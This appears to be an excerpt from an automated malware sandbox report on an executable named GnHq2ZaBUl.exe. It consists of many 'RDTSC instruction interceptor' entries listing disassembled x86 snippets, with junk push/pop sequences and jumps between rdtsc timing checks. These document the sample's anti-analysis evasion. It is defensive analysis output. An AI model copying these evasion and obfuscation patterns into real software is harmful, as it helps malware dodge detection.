Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8ACD3 second address: 5C8ACD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8AF5E second address: 5C8AF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8AF64 second address: 5C8AF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8AF68 second address: 5C8AF6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8B0B7 second address: 5C8B0D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F3DA0D10B36h 0x0000000d jmp 00007F3DA0D10B40h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8DD50 second address: 5C8DD76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F3DA0B69F46h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push edi 0x00000014 jmp 00007F3DA0B69F4Eh 0x00000019 pop edi 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8DD76 second address: 5B0DDB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pop eax 0x00000007 mov di, AC84h 0x0000000b push dword ptr [ebp+122D14FDh] 0x00000011 sub ecx, 286B7921h 0x00000017 call dword ptr [ebp+122D1CDDh] 0x0000001d pushad 0x0000001e jnl 00007F3DA0D10B37h 0x00000024 xor eax, eax 0x00000026 jmp 00007F3DA0D10B3Fh 0x0000002b mov edx, dword ptr [esp+28h] 0x0000002f cld 0x00000030 mov dword ptr [ebp+122D2D40h], eax 0x00000036 or dword ptr [ebp+122D1CD8h], esi 0x0000003c mov esi, 0000003Ch 0x00000041 xor dword ptr [ebp+122D2950h], edi 0x00000047 add esi, dword ptr [esp+24h] 0x0000004b sub dword ptr [ebp+122D1CD8h], edx 0x00000051 lodsw 0x00000053 or dword ptr [ebp+122D2950h], ebx 0x00000059 add eax, dword ptr [esp+24h] 0x0000005d jl 00007F3DA0D10B37h 0x00000063 stc 0x00000064 mov ebx, dword ptr [esp+24h] 0x00000068 jl 00007F3DA0D10B42h 0x0000006e ja 00007F3DA0D10B3Ch 0x00000074 mov dword ptr [ebp+122D1CD8h], edx 0x0000007a nop 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007F3DA0D10B49h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8DDAD second address: 5C8DDC3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3DA0B69F48h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F3DA0B69F46h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8DDC3 second address: 5C8DE08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3DA0D10B42h 0x0000000b popad 0x0000000c nop 0x0000000d jmp 00007F3DA0D10B3Ah 0x00000012 mov dword ptr [ebp+122D598Ch], eax 0x00000018 push 00000000h 0x0000001a mov si, dx 0x0000001d push B7E90AC6h 0x00000022 pushad 0x00000023 push edi 0x00000024 jnc 00007F3DA0D10B36h 0x0000002a pop edi 0x0000002b jc 00007F3DA0D10B3Ch 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8DE08 second address: 5C8DE89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 4816F5BAh 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F3DA0B69F48h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 sub edx, 7911163Dh 0x0000002c push 00000003h 0x0000002e push 00000000h 0x00000030 mov esi, dword ptr [ebp+124523FDh] 0x00000036 push 00000003h 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007F3DA0B69F48h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 mov dword ptr [ebp+122D1CF1h], esi 0x00000058 cld 0x00000059 mov esi, edx 0x0000005b push CE9E3E16h 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F3DA0B69F4Dh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8DE89 second address: 5C8DEA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8DEA0 second address: 5C8DEA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8DEA4 second address: 5C8DEFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 0E9E3E16h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F3DA0D10B38h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 sub cx, 2494h 0x0000002d lea ebx, dword ptr [ebp+12453C3Eh] 0x00000033 mov dword ptr [ebp+122D30E6h], edi 0x00000039 push eax 0x0000003a push edi 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F3DA0D10B43h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8DFE0 second address: 5C8E000 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3DA0B69F53h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8E000 second address: 5C8E006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8E006 second address: 5C8E00A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8E00A second address: 5C8E00E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8E00E second address: 5C8E0A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a mov edi, 6E7BA6CEh 0x0000000f mov edx, 3950D451h 0x00000014 popad 0x00000015 push 00000003h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F3DA0B69F48h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D1C01h] 0x00000037 mov ecx, 531F97B1h 0x0000003c jmp 00007F3DA0B69F53h 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push esi 0x00000046 call 00007F3DA0B69F48h 0x0000004b pop esi 0x0000004c mov dword ptr [esp+04h], esi 0x00000050 add dword ptr [esp+04h], 00000015h 0x00000058 inc esi 0x00000059 push esi 0x0000005a ret 0x0000005b pop esi 0x0000005c ret 0x0000005d push 00000003h 0x0000005f jnp 00007F3DA0B69F4Ch 0x00000065 push DFE60003h 0x0000006a push eax 0x0000006b push edx 0x0000006c jnl 00007F3DA0B69F4Ch 0x00000072 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8E0A8 second address: 5C8E0AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8E127 second address: 5C8E131 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3DA0B69F46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8E1F8 second address: 5C8E1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8E1FC second address: 5C8E23D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 436F6370h 0x0000000e pushad 0x0000000f mov ebx, dword ptr [ebp+122D1CDDh] 0x00000015 pushad 0x00000016 mov si, 121Ah 0x0000001a call 00007F3DA0B69F53h 0x0000001f pop esi 0x00000020 popad 0x00000021 popad 0x00000022 lea ebx, dword ptr [ebp+12453C52h] 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jng 00007F3DA0B69F4Ch 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8E23D second address: 5C8E241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CAEE04 second address: 5CAEE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0B69F4Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C7AF14 second address: 5C7AF1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C7AF1A second address: 5C7AF41 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c js 00007F3DA0B69F46h 0x00000012 pop ebx 0x00000013 ja 00007F3DA0B69F54h 0x00000019 push edi 0x0000001a pop edi 0x0000001b jmp 00007F3DA0B69F4Ch 0x00000020 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C7AF41 second address: 5C7AF47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CACF0C second address: 5CACF37 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3DA0B69F5Fh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F3DA0B69F57h 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F3DA0B69F46h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CAD4F4 second address: 5CAD4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CAD69F second address: 5CAD6B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3DA0B69F4Ah 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CAD6B5 second address: 5CAD6B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CAD6B9 second address: 5CAD6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CAD6C5 second address: 5CAD6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0D10B43h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CADE1F second address: 5CADE25 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CADF6D second address: 5CADF86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F3DA0D10B36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F3DA0D10B36h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CADF86 second address: 5CADFA5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F3DA0B69F57h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CADFA5 second address: 5CADFAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F3DA0D10B36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CADFAF second address: 5CADFD8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3DA0B69F46h 0x00000008 jmp 00007F3DA0B69F57h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F3DA0B69F46h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CADFD8 second address: 5CADFE2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3DA0D10B36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CAE71F second address: 5CAE723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CAE723 second address: 5CAE72C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CAE72C second address: 5CAE731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB0FE8 second address: 5CB101E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 ja 00007F3DA0D10B36h 0x0000000f jmp 00007F3DA0D10B3Dh 0x00000014 popad 0x00000015 jnl 00007F3DA0D10B3Ch 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 push esi 0x00000026 pop esi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CAFAD9 second address: 5CAFADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CAFADF second address: 5CAFB08 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3DA0D10B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F3DA0D10B47h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CAFB08 second address: 5CAFB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB018C second address: 5CB0190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB125B second address: 5CB125F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB125F second address: 5CB1271 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3DA0D10B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F3DA0D10B3Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB2418 second address: 5CB243D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F3DA0B69F56h 0x0000000d popad 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB9ED2 second address: 5CB9EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0D10B3Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C792BE second address: 5C792CE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3DA0B69F46h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C792CE second address: 5C792D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C792D4 second address: 5C792D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C792D8 second address: 5C792E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB93EA second address: 5CB93F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB93F0 second address: 5CB93FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB93FA second address: 5CB9400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB9400 second address: 5CB9404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB9559 second address: 5CB955D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB96CA second address: 5CB9704 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3DA0D10B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F3DA0D10B48h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3DA0D10B44h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB9C08 second address: 5CB9C12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F3DA0B69F46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB9D7A second address: 5CB9D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3DA0D10B36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CB9D84 second address: 5CB9D88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBA730 second address: 5CBA742 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBA742 second address: 5CBA746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBA746 second address: 5CBA74A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBA74A second address: 5CBA750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBA750 second address: 5CBA756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBA756 second address: 5CBA75A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBB246 second address: 5CBB24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBB24A second address: 5CBB250 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBB79F second address: 5CBB7A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBB7A3 second address: 5CBB804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F3DA0B69F48h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 call 00007F3DA0B69F59h 0x00000027 mov di, si 0x0000002a pop edi 0x0000002b mov esi, 204C0750h 0x00000030 xchg eax, ebx 0x00000031 push ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F3DA0B69F4Fh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5CBC4E6 second address: 5CBC541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a jnc 00007F3DA0D10B36h 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F3DA0D10B3Ch 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a popad 0x0000001b nop 0x0000001c sub dword ptr [ebp+122D1CD8h], ecx 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007F3DA0D10B38h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 00000016h 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e mov dword ptr [ebp+122D1D65h], ecx 0x00000044 push 00000000h 0x00000046 and si, C3FAh 0x0000004b xchg eax, ebx 0x0000004c push ebx 0x0000004d push ecx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
